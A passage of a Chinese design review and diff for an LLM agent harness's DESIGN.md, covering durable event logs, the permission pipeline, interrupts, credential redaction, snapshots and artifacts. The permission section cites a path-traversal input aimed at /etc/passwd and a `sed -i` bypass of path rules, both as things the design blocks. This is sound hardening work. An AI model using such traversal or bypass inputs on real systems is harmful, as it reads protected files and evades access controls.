级(spec 静态 + 启动时已发现的 MCP schema, + 排序冻结)与消息流级(mid-run 发现/变更以 schema event 为源、注入消息流); + 整体换代只发生在 compaction/resume 等天然重写点。 + +### A5. 决策 #11 / 原则 3:hooks 从「管线关卡」泛化为「hook site 列表」;EffectResolved 补 ask 路径 + +- [ ] **改哪里**:L2 管线一节、决策表 #8、#11。 +- **为什么**:Claude Code hook 全家桶中 Stop/SubagentStop(可拒绝停止、强制 + 继续)、UserPromptSubmit(注入/拦截用户输入)、SessionStart/SessionEnd/ + PreCompact/Notification 都不挂在任何 effect 上,现架构没有执行点与记录 + 通道;注入内容不 journal 会破坏"state 是纯 fold"。另外决策 #8 的单条 + EffectResolved 在 ask 长挂起下有时序漏洞:pre-hook 已执行(有副作用)→ + park 数天 → 进程重启,hook 执行事实只在内存里;恢复时重跑违反自家红线、 + 跳过则审计缺失。 +- **改成什么**: + - hooks 定义为 **hook site 列表**:L2 管线 pre/post 是其中两个 site, + loop lifecycle(session-start/stop/subagent-stop/pre-compact/user-input) + 是另外几个;所有 site 共享同一执行器与记录纪律——判定与注入内容 journal + 成 event、恢复绝不重跑。 + - ask 路径的 **ApprovalRequested event 携带此前已完成关卡的判定**(hook + 结果等),resume 从该 event 续管线;EffectResolved 仍是快路径的单条终态 + 汇总。只改 event payload 定义,管线结构不动。 + +### A6. L3 agent loop:定义 turn;把 interrupt 的「turn sweep」定为一等机制 + +- [ ] **改哪里**:L3「Agent loop」Steering/interrupt 段、L2 关卡结果枚举、 + L1 等待状态。 +- **为什么**:(1) "turn"承载 snapshot、per-turn commit、max_turns、steering + 消费点、barrier 五个机制但全文未定义,不同读法下 steering 体感差一个数量级。 + (2) **安全漏洞**:Esc 时刻"已放行未启动"与"审批挂起中"的 call 没有终态 + event——若不落盘则 fold 缺配对 tool_result 违反 API 约束;若留着 + ApprovalRequested 无终态,crash-resume 后 run 重新进入 WAITING_APPROVAL, + 迟到的应答会执行用户已放弃的危险调用(如 force-push)。 +- **改成什么**: + - 显式定义 **turn = 一次 LLM 调用 + 其 tool 执行周期**;steering 消费点 + 改写为"最早可配对点"(当前运行中 activity 结束即注入)。 + - **turn sweep**:InterruptReceived 的 fold 语义 = 该 seq 时刻所有未终态 + call 一律合成 interrupted tool_result,作废其 ApprovalRequested;新增 + 终态 event(EffectAbandoned)覆盖"放行未启动/审批挂起"两类;审批应答按 + request id 对已作废请求 no-op。 + - WAITING_APPROVAL 降为 per-effect 状态,run 级状态改为派生。 + +### A7. 决策 #15c:凭据改走 CredentialProvider 抽象 + +- [ ] **改哪里**:决策表 #15c、L3 Provider 凭据段、L3 MCP auth 段。 +- **为什么**:Claude Code 主流是订阅 OAuth(refresh token 持久化 + 过期刷新 + + 回写)、Codex 是 ChatGPT 登录、MCP streamable HTTP 需要 OAuth token + 存储、Bedrock/Vertex 走云 SDK 凭据链——"只读一个静态环境变量"装不下任何 + 一个。长跑 run 中 token 过期后,刷新出的新 token 在现契约下无处合法落盘。 +- **改成什么**:15c 改为「凭据经 **CredentialProvider 接口**解析:静态 env + 是其一种实现;受管 token store(OS keychain / 加密文件)是 event log 与 + workspace 之外的第三个持久位置」。保留底线原文:密钥绝不进 + spec/event log/仓库。 + +--- + +## B. 一句话契约补丁(8 条) + +- [ ] **B1 supervisor 角色**(L4):新增常驻 supervisor/session-manager—— + 维护 durable timer 派生索引、到期 journal TimerFired 并发起目标 session 的 + resume、收容 scheduler、启动时"枚举未终态 run + re-arm 全部未到期 timer"。 + CLI-only 部署显式降级为"下次 resume 时补火"。(否则 timeout/cron/审批过期 + 在进程不在时全部哑火,"等几天成本相同"缺执行主体。) +- [ ] **B2 event 版本化纪律**(决策 #12/#18):所有 fold 消费者(state、 + context assembly、budget、inspect)只经 EventStore 单一读路径取 event, + 该路径预留当前为恒等函数的 upcast 阶段;resume 拒绝检查挂 event-schema + 版本号而非代码版本。(否则周更作废全部存量会话;四个独立 fold 消费面会让 + 日后 migration 从纪律问题滑成结构问题。) +- [ ] **B3 PolicyChanged event**(L2/决策 #4):"always allow"等 settings + 写回先 journal 后落盘(崩溃可幂等补做);harness 配置路径显式排除出 + workspace 快照/rewind 范围。(否则崩溃窗口丢用户决定;rewind 会回滚 + settings,已收紧的 deny 静默复活——安全问题。) +- [ ] **B4 bash 进程组语义**(L1 activity 契约):bash 以 setsid 新进程组 + 启动,pgid 随 ActivityStarted journal;协作取消 = SIGTERM→SIGKILL 整组; + resume 的 in-doubt 处理先按 pgid 清算存活孤儿。(否则 crash 孤儿继续改 + workspace,掏空"恢复不碰文件系统"的前提;Esc 杀不掉孙进程。) +- [ ] **B5 server 拓扑与优雅停机**(L4/决策 #2):server 形态推荐 + session-per-process(core-as-library + 文件态持久状态天然支持);定义 + SIGTERM → 协作取消全部在飞 activity(落 ActivityCancelled)→ snapshot → + 退出。(否则大 fold 饿死全部 session;例行 deploy = 全体在飞 activity + 变 in-doubt 转人工。) +- [ ] **B6 bus 双通道契约**(L0):ephemeral topic(可丢,仅 delta 类派生物) + 与 guaranteed send(接收方 journal 后 ack,发送意图作为发送方 stream 的 + event 可重试);frontend 断线重连必须从 event log 对账未决状态。(否则 + "分布式化是换 transport"在跨进程那天丢审批冒泡还"符合设计"。) +- [ ] **B7 blob sidecar**(决策 #3/#12):event store 补 content-addressed + blob 存储(event 内只存 hash+mime+size),声明为 event log 存储的一部分, + fork 按引用共享;binary payload 豁免 tool_output_limit 文本截断。(否则 + 图片/附件要么 8MB base64 毁掉 JSONL,要么存临时路径 resume 后 dangling。) +- [ ] **B8 scrub 预留**(L2/决策 #15c):L2 Execute 记录点之前预留(当前为空 + 的)scrub 阶段作为未来脱敏/hook mutation 落点;EventStore 接口预留 at-rest + 加密位。(fold 完整性堵死事后擦除,唯一自洽的擦除点在写入之前。) + +--- + +## C. 备忘(9 条,对应 roadmap 阶段再展开) + +- [ ] **C1 thinking 块 opaque passthrough**(M1 定归一化 schema 时):内部 + 表示必须预留 provider 不透明字段(Anthropic signature/redacted 密文、 + OpenAI encrypted reasoning),event→fold→请求全程字节保真。事后补字段会 + 让已存日志无法合法回放给 API。 +- [ ] **C2 caching capability 限定**(M3):15b 的 caching 原型期限定为 + 无状态请求内标记(Anthropic cache_control + Gemini 隐式缓存);Gemini + 显式句柄(有生命周期、按 token·hour 计费的带外资源)列为推迟能力,落地时 + 按决策 #17 先例:create/renew/delete 记 cost event、WAITING_* 前后有 + 生命周期回调。 +- [ ] **C3 provider 执行类工具例外**(M3+):web_search/code_execution/ + MCP connector 的副作用发生在 API 内部——文档化例外类别:请求期整体审批 + + 响应期 post-hoc 观测与记账;处理 pause_turn stop reason。 +- [ ] **C4 跨 provider fallback 上移**(M3):fallback 换 provider 不是 + activity 级重试参数(签名不可移植、schema 方言不同),决策上移到 + loop/context assembly 重新 fold 渲染;同 provider 换档不受影响。 +- [ ] **C5 Codex on-failure 沙箱升级**(做沙箱时):管线需要"执行失败 → + 回到审批关卡"的回边——loop 检测沙箱类失败后合成升级参数的新 effect 重走 + 管线,定义同一 tool_use 两条 EffectResolved 的审计语义。 +- [ ] **C6 wait-class 工具标签**(M3):AskUserQuestion/ExitPlanMode 类 + "等用户输入"工具不实现为阻塞 activity(跨崩溃会被 in-doubt 误杀),tool + 定义加 interactive/wait-class 标签,execute 接 WAITING_INPUT park 路径。 +- [ ] **C7 workflow 编排纪律**(M5):决策 #5 砍掉 code replay 的隐藏代价是 + 确定性编排脚本必须写成显式状态机(每步完成落 event、fold 出当前位置)—— + 在 multi-agent 文档写明该纪律与辅助工具。 +- [ ] **C8 MCP sampling/elicitation**(M4):原型明确不支持并文档化;将来 + 需要"activity 内非持久等待"类别(等待不在 turn/tool-call 边界上,durable + park 承诺对它不成立)。 +- [ ] **C9 teleport 环境指纹**(M5):RunStarted 记环境指纹(cwd/平台/关键 + 工具版本);resume 不匹配不拒绝,但 journal EnvironmentChanged 作为显式 + prefix 换代点并向模型注入环境变更说明。(teleport 本身是架构红利:两处 + 持久状态打包即迁移。) diff --git a/DESIGN.md b/DESIGN.md index 4b3d681..0bd8937 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -11,6 +11,8 @@ compatibility。本文档是活的设计记录,随讨论逐步生长。 - 通过声明式 spec 定义并运行一个或多个 LLM agent,agent 的一切行为皆可配置。 - 每次运行都是 durable 的:挺过进程死亡、可审计、可恢复、可 fork。 - 交互式:streaming 输出、运行中途 steering 与 interrupt、审批。 +- 长任务形态:后台运行与 attach/detach、artifact 产出、 + goal/loop 驱动的迭代执行。 - 内核小而正交:少数几个 primitive,Claude Code 级的 feature 由组合得出, 而不是逐个特判实现。 @@ -32,10 +34,12 @@ compatibility。本文档是活的设计记录,随讨论逐步生长。 1. **一切可运行的是 actor。** agent、workflow、scheduler、frontend—— 统一模型,统一生命周期。 -2. **一切历史皆 event。** 持久状态只有两处:event log(历史与决策的 - source of truth)和 workspace(世界状态,git 管理)。除此之外的一切 - ——bus 上的消息、token delta、内存中的 state——都是 ephemeral 或 - 可从 event log 重建的派生物。 +2. **一切历史皆 event。** 持久状态 = event log(历史与决策的 source + of truth)+ workspace(世界状态)+ 接口后的 ref-addressed blob store + (`SnapshotStore`、`ArtifactStore`、任务日志共用一个 CAS blob 模块)。 + fold 永不读 store;event 只引用 opaque ref,blob 先于引用它的 event + 落盘。除此之外的一切——bus 上的消息、token delta、内存中的 state + ——都是 ephemeral 或可从 event log 重建的派生物。 3. **一切副作用是 activity,流经同一条 effect pipeline。** hooks、 permission、审批、预算是这条管线上的关卡,不是四个子系统。 4. **一切行为由数据定义。** spec + 配置决定 agent 的全部行为——包括 @@ -72,11 +76,14 @@ compatibility。本文档是活的设计记录,随讨论逐步生长。 ## L0 — Kernel -- **Actor**:一个 id、一个 mailbox(`asyncio.Queue`)、一个 behavior。 +- **Actor**:一个 id、一个 mailbox(channel)、一个 behavior。 逐条处理消息,没有共享可变状态。并发来自"很多个 actor"。 - **Bus**:进程内 transport。`send(to, msg)` 点对点;`publish(topic, msg)` pub/sub 扇出。bus 是 ephemeral 的——**任何会影响 run 结果的输入, 必须先 journal 成 event 再被消费**(见 L1),bus 只负责搬运。 + 跨进程部署时 bus 契约分**双通道**:ephemeral topic(可丢,delta 类) + 与 guaranteed send(接收方 journal 后 ack);frontend 重连必须从 + event log 对账未决状态,不依赖 bus 补投。 - **Envelope**:不可变,携带 `id / causation_id / correlation_id / sender / target / type / payload / ts`。command 处理按 `Envelope.id` 幂等去重 (actor 在自己的 stream 里记录已处理的 command id),"command 可重试" @@ -111,18 +118,54 @@ turn/tool-call 边界。run 进入 `WAITING_APPROVAL` / `WAITING_INPUT` 状态 成本相同,进程死了也一样——这正是原设计想要的"durable park", 但不需要 replay 引擎。 +**等待状态是一个注册表,配一张可中断性表**:`WAITING_INPUT` / +`WAITING_APPROVAL` / `WAITING_TASKS`(后台任务未清)/ `WAITING_TIMER` +(driver 定时)都是同一个等待事件的 reason 变体。interrupt 在等待中 +journal 进来即把 run 带出等待——未决审批按 denied-by-interrupt 解决, +对应 call 渲染为 `[interrupted by user]` 的 error 结果;**已配对的后台 +任务例外**:它的 handle 已是唯一配对结果,取消通知走 task-notice 输入 +通道,绝不发第二个 tool result。durable timeout 在等待中到期走同一条 +路径。 + ### Activity 语义 - activity = 一次副作用执行的记录单元:`ActivityStarted` 先落盘 → 执行 → `ActivityCompleted{result}` / `ActivityFailed` 落盘。 +- **凭据 redaction**:结果落盘前,对进程已知的凭据值(`*_API_KEY` 类 + 环境变量的字面值)替换为 `[REDACTED:VAR]`。harness 自身绝不把凭据写入 + spec/event;但 tool 输出可能携带任意 secret——redaction 是尽力而为的 + 兜底,属文档化残余风险。log 文件权限 0600,永不入 git。落盘路径预留 + (当前为恒等的)**scrub 阶段**;`EventStore` 接口预留 at-rest 加密位 + ——fold 完整性堵死事后擦除,唯一自洽的擦除点在写入之前。 - **at-least-once + in-doubt 检测**:崩溃发生在"执行后、落盘前"时, - 恢复看到有 `Started` 无 `Completed`,将其标记为 in-doubt 并上浮 - (报错或转人工),**绝不静默重跑**——bash 不幂等,LLM 调用要花钱。 + 恢复看到有 `Started` 无 `Completed` → in-doubt。崩溃几乎必然砸中 + in-flight activity(agent 的墙钟全在 LLM 调用和 bash 里),所以 + in-doubt 的处置是**按 tool 类别的数据化策略**,不是一刀切转人工: + LLM 调用 → 自动重发(复用 `TurnDiscarded` 渲染);read-class 与 + `idempotent: true` → 直接重跑;execute/edit-class → **不重跑**, + 渲染 `[interrupted by crash]` error 结果、loop 继续;"上浮转人工" + 只留给显式配置的高危工具。非幂等操作绝不静默重跑的红线不变—— + 它们根本不重跑;headless/无人值守 run 也因此不会卡死在人工 triage。 - **retry 是 activity 的通用属性**:retry/backoff、rate limit 处理、 model fallback 是 activity 级策略,所有副作用共享。 +- **声明式幂等是 in-doubt 自动重跑的唯一通道**:tool/activity 定义可 + 标注 `idempotent: true`(默认 false)——只读 verifier、artifact + 重发布等都引用这一个机制;未声明者 in-doubt 一律上浮,绝不静默重跑。 +- **后台 activity**:`bash` / `spawn_agent` 支持 `background: true`。 + `ActivityStarted` 额外记录 task_id(= call id)、pgid、log_ref、 + `on_run_end: cancel|await`;输出重定向到 log_ref(完成时全量入 blob + store,tail 截断后入 event)。取消、timeout、retry、redaction 语义 + 与前台完全相同——不同的只是模型何时看到结果(见 L3 Agent loop)。 - **协作取消是 activity 的一等能力**:activity 持有 cancel signal, 被打断时记录 `ActivityCancelled{partial_output}`。跑了 10 分钟的 bash 必须能被 Esc 杀掉——interrupt 语义建立在这之上(见 L3/L4)。 +- **取消的终态以进程组为准**:bash 以独立进程组启动 + (start_new_session),取消 = 对整组 SIGTERM → 宽限 → SIGKILL, + **确认组内进程全部退出后**才 journal `ActivityCancelled`(管道以 + 有界超时 drain 出 partial_output)。否则 `npm install` 的孤儿进程会在 + "取消"之后继续写 workspace,污染 barrier 和 rewind。MCP 的取消通知 + 多数 server 不理会——按 best-effort 处理,journal 为 + cancelled-unconfirmed。 - **timeout 是 durable timer**,与 run 竞速的一条记录在案的定时器, 绝不在关卡代码里读墙钟(重建时时间不同会得出不同结论)。 @@ -133,10 +176,20 @@ turn/tool-call 边界。run 进入 `WAITING_APPROVAL` / `WAITING_INPUT` 状态 - **对话 state snapshot**:event log 的派生缓存,加速 resume。 可随意丢弃——删掉只损失 fold 时间,不损失任何东西。 - **Workspace 快照**:**一等状态,不是派生物**。文件系统永远不可能从 - event log 重建(activity 结果被记录,但不重放)。实现为 workspace 内 - per-turn `git commit`(便宜、可 diff),只服务 **rewind/fork**, - 只在显式 barrier 打点(turn 边界 + 子 agent 静默)。**不可随意删除** - ——删掉即永久失去该回退点。 + event log 重建(activity 结果被记录,但不重放)。快照藏在 + **`SnapshotStore` 接口**后,event 只引用 opaque 的 snapshot ref—— + 上层语义不与任何具体机制耦合,只服务 **rewind/fork**,只在显式 + barrier 打点(见 L4 `CheckpointBarrier`)。快照 **pinned until + explicit GC**——rewind 之后较新的快照不会变得不可达。 +- **默认 backend 是 shadow repo**:独立的 `GIT_DIR` 放在 harness 数据 + 目录下、`GIT_WORK_TREE` 指向 workspace——对用户自己的 repo 完全隐形: + 不污染 HEAD/index、不会被误 push,agent 通过 bash 做 `git checkout` / + `git reset` 也打不断快照链。备选 backend:archive copy;`none` + (rewind/fork 优雅不可用,其余功能不受影响)。git 只是默认实现, + 不是设计依赖。 +- **排除策略显式化**:harness 级 exclude 列表(node_modules/venv/build + 类),被排除的路径文档化为 rewind 范围外。快照延迟在 S7(STAGES + 延迟批次)用真实大仓库基准测试后再定粒度。 - **崩溃恢复绝不碰文件系统。** 单进程下崩溃时文件系统本来就活着、 已在 head 附近;恢复只重建对话 state。回滚文件系统是 rewind 的 用户主动行为,不是恢复的一部分。 @@ -165,35 +218,66 @@ effect [5] Hooks (post) ``` -- **关卡判定在记录边界之内**:整条管线对一个 effect 产生**一条** - `EffectResolved` event,携带全部关卡判定(hook 结果、permission 判定、 - budget 判定)。恢复时读记录值,不重跑 hook 脚本、不重读 policy 文件 - ——hook 是有副作用的外部脚本,绝不能在恢复路径上再执行一次。 - 单条 event 也避免每个 tool call 4-5 条官僚 event 淹没日志。 -- **hooks 是管线机件,不是 effect**——不递归进管线自身;其执行记录在 - `EffectResolved` 里。v0 只支持 observe + block,改写输入(mutation) +- **关卡判定在记录边界之内,按持久化时点拆分**:pre-hook 结果 + + permission 判定 + budget 判定在关卡判定终结后(放行或拦下——拦下时 + 其后没有 `ActivityStarted`)、执行开始**之前**作为一条 `EffectResolved` + event 落盘(ask 路径:`ApprovalRequested` **自身携带此前已完成关卡 + 的判定**——pre-hook 可能已执行副作用,这个事实必须先于可能数天的 + 挂起落盘;应答到达后 `EffectResolved` 作终态汇总并引用该 id);post-hook 结果随 `ActivityCompleted` + 落盘。单一落盘点装不下整条管线——它跨越 durable 的 `ActivityStarted` + 和可能挂几天的审批。恢复时读记录值,不重跑 hook 脚本、不重读 policy + 文件——hook 是有副作用的外部脚本,绝不能在恢复路径上再执行一次; + 进了关卡但没有 `EffectResolved` 的 effect 与 activity 同等享受 + in-doubt 上浮,绝不静默重过关卡。happy path 下一个 effect 仍只有 + 一条关卡 event,不淹没日志。 +- **预算是 reserve-then-settle 的**:关卡时刻对预估成本(LLM 调用按 + max_tokens、tool 按类别估值)做原子预留,与已 fold 的消耗 + 未结清 + 预留一起比对上限;`ActivityCompleted` 时按实际结算,预留集是 fold + state 的一部分。否则 N 个并行 call 各自对着同一个过期计数器放行, + 合起来超支 N 倍。 +- **hooks 是管线机件,不是 effect**——不递归进管线自身;执行记录随 + 管线判定持久化(pre-hook 在 `EffectResolved`,post-hook 随 + `ActivityCompleted`)。v0 只支持 observe + block,改写输入(mutation) 连同它带来的顺序与缓存问题一起推迟。 -- **每种关卡结果都定义"模型看到什么"**。Anthropic API 要求每个 - `tool_use` 都有对应 `tool_result`,且 agent loop 在多数失败后应当继续: +- **每种关卡结果都定义"模型看到什么"**。所有 provider 都要求 tool call + 与结果配对(Anthropic 按 call id、Gemini 按数量+位置且更严格), + 且 agent loop 在多数失败后应当继续: - deny → `tool_result{is_error: true, reason}`,loop 继续; - hook block → hook 的消息作为 error tool_result,loop 继续; - 审批被拒 → 同上,附拒绝理由; - - budget 超限 → 让模型收尾的最后一条消息 + 优雅停止(`LimitExceeded` - event),不是掐断; + - budget 超限(run 级 token/cost/turns)→ 让模型收尾的最后一条消息 + + 优雅停止(`LimitExceeded` event),不是掐断;结构性限制(spawn + 深度/扇出,同在 budget 关卡校验)→ error 结果,loop 继续; - activity 失败(重试耗尽)→ error tool_result,loop 继续。 - "给模型的错误"和"给用户的错误"是两个 surface,分开设计。 + "给模型的错误"和"给用户的错误"是两个 surface,分开设计。error 结果的 + 线上形态由各 provider 定义(Anthropic 有 `is_error` 标志;Gemini 没有, + 约定为 `functionResponse.response` 内的 error 载荷)。 - **permission modes 是 loop 行为,不是 policy 枚举值**。每个 mode 是 一组数据:工具面过滤 + prompt 注入 + 跃迁规则。例:`plan` = 只读工具面 + 计划指令注入 + 专用 `ExitPlanMode` 工具(其审批通过即触发 mode 跃迁, 跃迁本身是 event);`acceptEdits` 依赖 tool 的**类别**标签 (edit-class / execute-class / read-class,tool 定义数据的一部分)。 hook 与 mode 的优先级明确:`bypass` 不跳过 hooks。 + **工具面分两级**:mode 的过滤作用于 **permitted 面**(L2 关卡数据, + 随 mode 任意变、deny 拦截);**advertised 面**(进 prefix 的 tools + 参数与目录)session 内稳定——否则每次进出 plan mode 都打爆 + tools 级缓存。`ExitPlanMode` 常驻 advertised 面。 +- **path 规则的边界诚实**:path 规则只约束文件类 tool;bash 天然是旁路 + (一条 `sed -i` 就能改写 `src/**`)。因此 rules schema 对 bash 提供 + **命令模式匹配**(`{tool: bash, command: "git *", action: allow}` 式), + bash 的可写范围最终由 workspace 沙箱等级闭环(沙箱等级决定 bash + 可写路径,与 path 规则同源配置)。这层关系明文写出,不假装 path 规则 + 覆盖一切。 +- **路径匹配基于 realpath**:所有文件类 tool 的路径在 permission 匹配与 + 边界检查前一律 resolve(symlink、`..` 归一化);resolve 后落在 + workspace 外 → deny。`src/../../etc/passwd` 匹配不上 `src/**`, + workspace 内指向外部的 symlink 也写不穿边界。 ## L3 — Agent layer ### Agent spec -agent 完全由声明式 spec(YAML → pydantic model)定义,加载时校验、 +agent 完全由声明式 spec(YAML → 强类型 struct)定义,加载时校验、 坏 spec 报精确错误。spec 是模板,**agent instance** = spec + 运行时输入 (task、correlation id、parent)。 @@ -229,7 +313,8 @@ permissions: rules: - { tool: read_file, action: allow } - { tool: edit_file, path: "src/**", action: allow } - - { tool: bash, action: ask } + - { tool: bash, command: "git status*", action: allow } + - { tool: bash, action: ask } # 兜底;path 规则约束不了 bash(见 L2) hooks: pre_tool_use: ["./hooks/lint-check.sh"] # v0: observe + block @@ -246,12 +331,26 @@ limits: ``` - **tool 定义本身是数据**:description、JSON schema、类别标签 - (read/edit/execute-class,供 `acceptEdits` 等 mode 使用)、per-tool - 配置(bash timeout、输出截断上限)。内置 tool 以数据文件形式随包分发, - spec 里的 `tools:` 是对这些定义的引用 + 收窄。 -- 配置分层从简:**spec + 单个 project settings 文件**两层起步, - 标量覆盖、permission rules 按文档化顺序拼接(local > project > spec); - 三层与更细的合并语义等真实冲突出现再加。 + (read/edit/execute/**wait**-class——wait-class 即"向用户提问"类 + 工具,execute = 进入 `WAITING_INPUT` park 而非阻塞 activity, + 跨崩溃不被 in-doubt 误杀;类别同时供 `acceptEdits` 等 mode 与 + in-doubt 策略使用)、per-tool 配置(bash timeout、输出截断上限)。 + 内置 tool 以数据文件形式随包分发,spec 里的 `tools:` 是对这些定义 + 的引用 + 收窄。 +- 配置分层从简:**spec + user settings + project settings** 三个来源, + 标量覆盖、permission rules 按文档化顺序拼接(user > project > spec); + 更细的合并语义等真实冲突出现再加。user settings 属于用户机器, + project settings 随 repo 走——这个出身差异是信任模型的依据。 +- **policy 热更新是 event**:"always allow"类写回 settings 的操作先 + journal `PolicyChanged` event 再写盘(崩溃后幂等补做);harness 配置 + 路径显式排除出快照/rewind 范围——否则 rewind 会让已收紧的 deny + 静默复活。 +- **信任模型**:spec 与 settings 等同于"你选择执行的代码"。可执行配置 + (hooks)只从 spec 与 user 层生效;**project 层(随 repo 走的 + 文件)里的 hooks 被忽略**,除非用户对该 workspace 做过一次显式 trust + 确认——否则 clone 一个不受信任的 repo 就等于交出任意代码执行权, + 整个 permission 系统被绕过。memory 文件按不可信内容对待(只进 prompt, + 不获得任何执行权)。原型是单用户自担模式,但边界必须明文。 ### Context assembly(一等组件) @@ -259,9 +358,12 @@ limits: 负责 `fold(event log) → provider 请求`: - **System prompt 是拼装的**,顺序固定:harness 基础指令 → 环境块 - (cwd、git 状态、日期)→ memory 文件层(CLAUDE.md 按目录层级合并)→ - tool/skill/子 agent 目录(模型不知道 `summarizer` 存在就永远不会 - spawn 它——目录注入是 multi-agent 可用的前提)→ spec 的 system prompt。 + (cwd、git 状态、日期——**在 session start 冻结进 fold state**,之后的 + 环境变化以追加消息进入上下文,绝不改写 prefix:git 状态每 turn 都变, + 不冻结的话 harness 会亲手打爆下面的 caching 不变量)→ memory 文件层 + (CLAUDE.md 按目录层级合并)→ tool/skill/子 agent 目录(模型不知道 + `summarizer` 存在就永远不会 spawn 它——目录注入是 multi-agent 可用的 + 前提)→ spec 的 system prompt。 - **Prefix 稳定性是显式不变量**(prompt caching 的经济性约 10x, 没有它 agent loop 在经济上不可用):system prompt 与 tool schema 排序 稳定,cache 断点由 loop 放置;任何会打爆 prefix 的操作 @@ -279,39 +381,108 @@ limits: ### Agent loop -- agent loop 是一个普通的 async loop,其中每次 LLM 调用、每个 tool 执行、 +- agent loop 是一个普通的 goroutine 循环,其中每次 LLM 调用、每个 tool 执行、 每次 spawn 都是走 L2 管线的 activity。durability 来自 L1 的 journal + snapshot,loop 代码不背确定性纪律。 -- **并行 tool call 是常态**:一条 assistant 消息含 N 个 `tool_use` 时, +- **并行 tool call 是常态**:一条 assistant 消息含 N 个 tool call 时, 每个 call 独立过管线;判定为 allow 的并发执行,判定为 ask 的按序等审批 (审批挂起不阻塞已放行的 call);完成 event 按到达顺序落盘。 -- **Steering 与 interrupt**:用户插话 journal 成 event 后在 turn 边界 - 被 loop 消费;interrupt 则通过 activity 协作取消立即生效 - (`ActivityCancelled`),被打断的 tool call 以 - `tool_result: "[interrupted by user]"` 呈现给模型的下一 turn。 + **call 的身份由 harness 生成的 call id 定义**(随 event 持久化, + provider 各自映射到自家配对机制);到达顺序只是日志事实——context + assembly 在下一次 LLM 调用前收齐该 turn 全部结果,**按原 call 顺序 + 重排**(Gemini 要求 functionResponse 与 functionCall 数量 1:1、 + 按位置配对,乱序或缺失直接 400)。 +- **异常终止形态是 loop 策略的一部分**:归一化 finish_reason 显式收录 + blocked / malformed_tool_call / recitation 等(Gemini 有一整类 + Anthropic 不存在的形态:MALFORMED_FUNCTION_CALL、SAFETY、零 candidate + 的 promptFeedback.blockReason)。策略:malformed_tool_call 走 activity + retry(复用 `TurnDiscarded` 渲染路径);safety/blocked 上浮为用户可见 + 错误,不重试。 +- **turn 是被定义的**:turn = 一次 LLM 调用 + 它返回的全部 tool call + 的执行周期。snapshot、max_turns、steering 消费点、barrier 候选点 + 引用的都是同一个定义;steering 的消费点精确为**最早可配对点** + (当前 call 结束后、下一次 LLM 调用前),不必等同 turn 的其余 call。 +- **Steering 与 interrupt**:用户插话 journal 成 event 后在最早可配对 + 点被 loop 消费;interrupt 触发 **turn sweep**——该时刻所有未终态的 + call 一律得到终态:执行中的走协作取消(`ActivityCancelled`); + 已放行未启动与审批挂起中的落 `EffectAbandoned`(其 + `ApprovalRequested` 随之作废,迟到的应答按 request id no-op—— + 否则 crash-resume 后一条迟到的批准会执行用户已用 Esc 放弃的危险 + 调用);全部渲染为 `[interrupted by user]` 呈现给模型的下一 turn。 - **Streaming 的持久化边界**:token delta 只走 bus(**显式 ephemeral**, 这是原则 2 的正版应用而非违反);持久化的是组装完成的 assistant message(一条 event)。LLM activity 重试发生在已流出部分输出之后时, 发 `TurnDiscarded` event,前端据此渲染("重试中"并重新开流), 绝不静默替换用户已看到的文本。 +- **后台 effect 不阻塞 loop**:background call 的立即配对结果就是 + `ActivityStarted` 的 fold 渲染(`{task_id, status: running}`)—— + Gemini 的 1:1 配对当场满足、永不再动;完成时 `ActivityCompleted` + 兼任 pending input,在 turn 边界以**新的 user-role 消息**进入 loop + (与 steering 同路)。模型结束 turn 时仍有活任务且无其他输入,其处置 + 由 `on_run_end` 决定(下一条 quiesce 同源):`await` → 进入 + `WAITING_TASKS` park(等某个 task 终态、结果回流为新 user-role 消息后 + 再决策,直到 task 清空才自然收尾);默认 `cancel` → 直接走 run 收尾 + epilogue,由 quiesce 槽位协作取消残留 task(fire-and-forget)。被强制 + 结束(max_turns 等)同样交 epilogue quiesce 按 `on_run_end` 处置—— + 绝不为残留 task 阻塞 loop。`task_output`(读 log,read-class)/ + `task_kill`(协作取消,execute-class)是普通数据定义 tool;进度 tail + 走 ephemeral topic(与 token delta 同 doctrine)。 +- **run 的收尾是固定 epilogue**:(1) 按 `on_run_end` quiesce 后台任务 + (`await` 是纯静默等待——完成只入 journal 不再进 loop,且必有 + durable timer 兜底)→ (2) 自动 publish `outputs:` 声明的交付物并 + 检查 contract → (3) 切终态 `CheckpointBarrier` → (4) journal 终态 + event。任何给"run 结束"加步骤的 feature 都必须挂进这个序列, + 不得自行定义结束时序。 ### Tools 与 workspace - 内置 tool 套件(file read/write/edit、bash、glob/grep、web fetch/search)建立在 workspace 抽象上:工作目录、路径边界、bash 沙箱 等级。worktree 级隔离支持多 agent 并行改文件。 -- workspace 的持久化与 rewind 语义见 L1(per-turn git commit, - bash 逃逸不在承诺内)。 +- workspace 的持久化与 rewind 语义见 L1(`SnapshotStore` 快照, + 只在 `CheckpointBarrier` 打点;bash 逃逸不在承诺内)。 + +### Artifacts + +- **`ArtifactStore` 是 SnapshotStore 模式的第二个实例**:接口后的 + content-addressed blob store(ref = `sha256:`)。一切语义 + (名字、版本、mime、provenance)都在 event log 里——per-session 的 + artifact 索引是 `ArtifactPublished` events 的纯 fold。目录型 artifact + 是一个 manifest(`{relpath, ref}` 列表,其自身 hash 即 ref)。 +- **publish 是 tool,因此是 effect,因此是 activity**:内置 + `publish_artifact{name, path, …}` 走完整四关卡(DLP 类 pre-hook 可拦、 + file-class path 规则 + realpath 适用、per-publish 大小上限)。 + **发布即持久**(blob 先落盘、event 随后 append),与 run 是否结束 + 无关。 +- **版本按 publishing stream 本地排序**:version 是 (name, stream) + 内的序数,由该 stream 自己的 seq 决定——符合 per-stream 审计保证; + session 级索引是展示层合并,跨 stream 同名不产生全局版本序。 +- **`outputs:` 声明 = 交付物 contract**:spec 声明期望产出(name、 + path、required),run 收尾 epilogue 自动 publish 并检查 contract + ——缺 required 输出渲染为 parent 的 error 结果,loop 继续。 + 交付物 contract 与过程中的协调对象(plan 等)是两条路径,不混用。 +- **审批载荷是 artifact ref**:`ApprovalRequested{payload_ref}` 引用 + 一份版本化、可渲染的 artifact——plan 审批 = mid-run publish + + 带 ref 的审批请求 + `WAITING_APPROVAL`;被拒(附理由)→ 修订 → + `plan@v2` → 再审,审批记录精确指向它审的是哪一版。 +- **artifact 可作输入**:spawn 参数 / CLI 以 ref 传入,journal 进 + child 的 `RunStarted` 后由 materialize activity 物化进 workspace + (in-doubt 语义随之而来)。driver 的跨迭代 carry 文档同样存这里。 ### MCP - **server 生命周期是带外运行时状态,不进 event 模型**:resume/重启后 server 重新拉起;原型假定 MCP server 无状态(per-call stateless), - 这是文档化的契约。实现用官方 MCP Python SDK 管理 client/session。 + 